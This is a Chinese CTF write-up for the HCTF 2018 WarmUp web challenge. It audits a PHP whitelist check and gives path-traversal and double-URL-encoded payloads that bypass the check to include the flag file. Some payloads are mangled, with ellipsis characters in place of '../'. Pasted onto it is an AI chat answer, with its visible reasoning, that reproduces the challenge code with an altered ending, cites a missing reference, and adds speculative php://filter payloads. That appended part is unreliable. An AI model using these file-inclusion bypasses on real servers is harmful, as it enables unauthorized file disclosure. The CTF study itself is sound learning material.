BUUWEB [HCTF 2018]WarmUp

本文详细介绍了如何通过代码审计来解决Web安全问题,特别是针对一个PHP代码实例,解释了isset(), is_string(), in_array()等函数的用法,并展示了如何利用这些函数的组合来构造有效参数,以绕过安全检查获取flag。通过分析代码流程,揭示了两种可能的解决方案,涉及URL编码和字符串截取技巧。

对于我这种新人菜鸡来说,如果拿到web题不知道是哪方面的话,一般就是F12查看源代码,抓包,扫描挨个试试看能找到什么线索。在buu上这道题给了提示,是代码审计,打开网址后是一个滑稽,没有代码,既然是代码审计,网页又没有显示代码也没文件,那一般就是审计源代码,查看页面源代码,可以发现一个明显的提示,source.php一般就是存放源代码的文件了,在原网页上包含该文件,即可看到源代码。
在这里插入图片描述

审计是我们需要先了解几个函数的作用:

isset(): 判断变量是否声明;

is_string(): 判断变量是否是字符串;

in_array(search,array): 判断array中是否存在search;

mb_substr(): 函数返回字符串的一部分
在这里插入图片描述
参考菜鸟教程:https://www.runoob.com/php/func-string-mb_substr.html

mb_strpos(haystack,needle): 在 haystack 中查找needle第一次出现的位置 ;

empty — 检查一个变量是否为空
参考 :https://www.php.net/manual/zh/function.empty.php

_REQUEST[]:具用_POST[] _GET[]的功能,但是_REQUEST[]比较慢。通过post和get方法提交的所有数据都可以通过_REQUEST数组获得

开始代码审计:

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            //得到另外一个文件hint.php,包含得到flag的文件名
            
            //isset()判断变量是否声明,is_string()判断变量是否是字符串
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
            
			//检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
            if (in_array($page, $whitelist)) {            
                return true;
            }

			//过滤问号的函数(如果$page的值有?则从?之前提取字符串)
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            
            //第二次检测传进来的值是否匹配白名单列表$whitelist
            if (in_array($_page, $whitelist)) {
                return true;
            }
			
			//对$page进行url解码
            $_page = urldecode($page);
			
			 //第二次过滤问号的函数(如果$page的值有?则从?之前提取字符串)
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            
            //第三次检测传进来的值是否匹配白名单列表$whitelist
            if (in_array($_page, $whitelist)) {
                return true;
            }

			//若以上都没通过,则返回false
            echo "you can't see it";
            return false;
        }
    }

//---------------------------------------------------------------

	//这里就到了文件包含,需要传入的参数file不为空且是字符串,经过class emmm的检测,即emmm返回真,则包含file	
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

在这里插入图片描述
整个梳理出来就是:

第一个if语句 对变量进行检验,要求page为字符串,否则返回false

第二个if语句 判断page是否存在于whitelist数组中,存在则返回true

第三个if语句 判断截取后的page是否存在于whitelist数组中,存在则返回true

截取page中’?'前的部分

第四个if语句 判断url解码并截取后的page是否存在于whitelist中,存在则返回true

若以上四个if语句均未返回值,则返回false

传入的参数file不为空且是字符串,经过class emmm的检测,即emmm返回真,则开始包含file。

这样,我们就可以开始构造file
有三个if语句可以返回true,第二个语句直接判断$page,不可用。

第一种(利用第三个if):
…/source.php?file=hint.php?../…/…/…/…/ffffllllaaaagggg

先经历第一个if,什么也没有返回,因为不满足条件不返回true,满足条件返回false;
第二个if:匹配白名单,失败,不返回true;
截取file 中 “?”之前的内容hint.php,并传入下一个if;
第三个if:
匹配白名单:返回true。
打印flag文件内容

第二种(利用第四个if,对“?”进行两次URL编码(但经过我的实践,编码一次也可以)):
…/source.php?file=source.php%253f…/…/…/…/…/ffffllllaaaagggg

先经历第一个if,什么也没有返回,因为不满足条件不返回true,满足条件返回false;
第二个if:匹配白名单,失败,不返回true;
截取file 中 “?”之前的内容hint.php,并传入下一个if;
第三个if:匹配失败,对参数进行url解码,先进行url解码再截取;
第四个if:因为在服务器端提取参数时解码过一次,故第三次if匹配失败后经过解码仍为’?’,通过第四个if语句校验。(’?‘两次编码值为’%253f’)。
打印flag文件内容

注意:…/ 有多少个并不清楚,应为不知道flag在底几层目录里,需要从没有开始一次加一个去尝试。

<think>好的,我现在需要帮用户解决HCTF 2018 WarmUp题目的解题思路。首先,我应该先回忆一下这个题目的基本情况。根据用户提供的引用内容,这题可能涉及到Web安全方面的挑战,比如CTF题目常见的漏洞类型,比如文件包含、代码审计等。 用户提到参考站内引用中的第三部分是关于[HCTF 2018]WarmUp的解题思路,所以首先需要从这些信息中提取关键点。根据引用中的描述,解题思路可能涉及几个步骤:首先访问页面,查看源代码;然后发现提示,比如source.php;接着分析该文件的内容,寻找可能的漏洞点,比如文件包含或PHP伪协议利用。 接下来,我需要详细拆解每个可能的步骤。比如,第一步访问网站后,查看页面源代码,可能会发现注释中的提示,例如source.php文件。访问这个文件后,可能会得到PHP代码,这时候需要进行代码审计。代码中可能存在文件包含漏洞,比如使用include或require函数,并且参数未经过滤或过滤不严。 在代码审计过程中,需要关注如何绕过安全措施。例如,代码中可能检查参数是否在白名单中,或者是否以特定字符串开头。这时候可能要用到目录穿越,比如使用../../../../etc/passwd这样的路径,或者利用PHP伪协议如php://filter来读取源代码。 另外,可能还需要考虑服务器的文件结构,比如flag文件的位置,常见的如/flag,/var/www/html/flag.txt等。通过构造合适的payload,利用文件包含漏洞来读取这些文件。 还需要注意题目是否有其他陷阱,比如需要绕过strpos检查,或者利用二次编码来绕过过滤。例如,如果代码检查参数是否以某个字符串开头,可以通过编码绕过,比如使用%2566来代表f,因为服务器可能进行两次URL解码。 然后,总结解题步骤:查看源代码找到提示文件,审计代码找漏洞点,构造payload绕过过滤,读取flag文件。同时,要确保每一步都符合题目的具体设置,可能不同的题目会有不同的过滤方式,需要根据实际情况调整payload。 最后,生成相关问题,覆盖文件包含漏洞、PHP伪协议、代码审计等方面,帮助用户深入理解相关知识点。</think>### [HCTF 2018]WarmUp 解题思路 #### 1. 初始页面与源代码分析 - 访问题目地址后,页面显示一个卡通笑脸表情。 - **关键操作**:查看页面源代码,发现注释中提示 `source.php`,访问该路径获取服务器端PHP代码[^1]。 #### 2. 代码审计关键点 ```php <?php class emmm { public static function checkFile(&$page) { $whitelist = ["source" => "source.php", "hint" => "hint.php"]; if (!isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr($page, 0, mb_strpos($page . '?', '?')); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr($_page, 0, mb_strpos($_page . '?', '?')); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } if (empty($_REQUEST['file'])) { include 'hint.php'; } else { $file = $_REQUEST['file']; if (emmm::checkFile($file)) { include $file; } else { echo "you can't see it"; } } ``` - **漏洞点**:`include $file` 存在文件包含漏洞,但需通过 `checkFile()` 校验。 - **绕过逻辑**: 1. `$whitelist` 白名单仅允许 `source.php` 和 `hint.php`。 2. 利用 `mb_substr` 截取 `?` 前的路径,结合多次URL解码绕过检查。 #### 3. 构造Payload读取flag - **hint.php提示**:`flag not here, and flag in ffffllllaaaagggg`(暗示flag文件路径)。 - **Payload构造**: ```url file=source.php?/../../../../../ffffllllaaaagggg ``` - 原理:利用 `?` 截断路径检查,通过目录穿越访问根目录下的目标文件。 #### 4. 其他绕过方式 - **PHP伪协议**(若服务器允许): ```url file=php://filter/read=convert.base64-encode/resource=ffffllllaaaagggg ``` - **二次URL编码**(应对严格过滤): ```url file=source.php%253F/..%252F..%252F..%252F..%252F..%252Fffffllllaaaagggg ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值